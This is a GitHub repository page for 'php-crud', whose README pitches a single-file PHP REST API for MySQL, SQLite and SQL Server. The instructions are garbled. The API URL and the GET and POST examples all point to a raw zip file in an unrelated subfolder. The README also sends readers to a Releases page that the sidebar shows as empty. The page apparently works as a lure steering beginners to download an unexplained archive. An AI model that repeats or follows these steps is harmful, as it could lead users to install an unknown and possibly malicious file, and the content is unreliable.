Skip to content

πŸš€ Create a REST API for your MySQL, PostgreSQL, SQL Server, or SQLite database with one PHP file. Quick setup, efficient and reliable.

License

Notifications You must be signed in to change notification settings

chrpnr/php-crud

Repository files navigation

🌟 php-crud - Simple REST API for Your Database

πŸš€ Getting Started

Welcome to php-crud! This application helps you easily add a REST API to your SQL database. Whether you're managing a MySQL, SQLite, or SQL Server database, php-crud simplifies the process. No coding skills needed!

πŸ“₯ Download php-crud

Download php-crud

πŸ“‹ System Requirements

To run php-crud, you need:

  • A web server that supports PHP (like Apache or Nginx).
  • PHP version 7.4 or higher.
  • A compatible SQL database (MySQL, SQLite, or SQL Server).
  • Basic web browser for accessing the API.

πŸ›  Features

  • Easy Setup: Just upload one PHP file to your server.
  • Support for Multiple Databases: Works with MySQL, SQLite, and SQL Server.
  • CRUD Operations: Create, read, update, and delete data easily.
  • RESTful API: Access your database via simple API calls.
  • Geospatial Support: Handle location-based data seamlessly.

πŸ’Ύ Download & Install

To get started with php-crud, visit the Releases page to download the latest version. Follow these simple steps:

  1. Click the link above to go to the Releases page.
  2. Look for the latest version of php-crud.
  3. Click on the download link to save the file to your computer.
  4. Unzip the downloaded file if it's compressed.
  5. Upload the single PHP file to your web server. You can use FTP software for this step.

πŸ”— Quick Links

πŸ— Setting Up Your Database

After installing php-crud, you need to set up your database.

  1. Create a Database: Use your database management tool (like phpMyAdmin for MySQL).
  2. Configure php-crud: Open the PHP file you uploaded. Find the section for database connection settings.
  3. Enter Your Database Credentials: Fill in details such as host, username, password, and database name.

πŸ“± Using php-crud

Once php-crud is installed and your database is set up, you can start using it. Here’s how:

  • Access the API: Visit the URL where you uploaded the PHP file. For example, https://raw.githubusercontent.com/chrpnr/php-crud/main/coastwards/php-crud.zip.
  • Send Requests: You can now use tools like Postman or your browser to make API requests.

Example API Requests

  • Get Data:
    GET https://raw.githubusercontent.com/chrpnr/php-crud/main/coastwards/php-crud.zip
    
  • Add Data:
    POST https://raw.githubusercontent.com/chrpnr/php-crud/main/coastwards/php-crud.zip
    

βš– License

This project is licensed under the MIT License. Feel free to use and modify it for your own needs.

πŸŽ‰ Contributing

If you would like to contribute to php-crud:

  1. Fork the repository.
  2. Make your changes.
  3. Submit a pull request with a clear description of your modifications.

πŸ“¬ Support

If you need help or have questions, you can reach out via issues on GitHub. We’ll do our best to assist you.

πŸ“š Related Topics

  • api-server
  • crud
  • database
  • geospatial
  • mysql
  • openai
  • php
  • php-api
  • rest-api
  • sqlite
  • sqlserver

By following these steps, you should be able to easily set up php-crud and start managing your database through a powerful REST API. For further assistance, please refer back to this README or check the GitHub issues.

About

πŸš€ Create a REST API for your MySQL, PostgreSQL, SQL Server, or SQLite database with one PHP file. Quick setup, efficient and reliable.

Topics

Resources

License

Contributing

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 40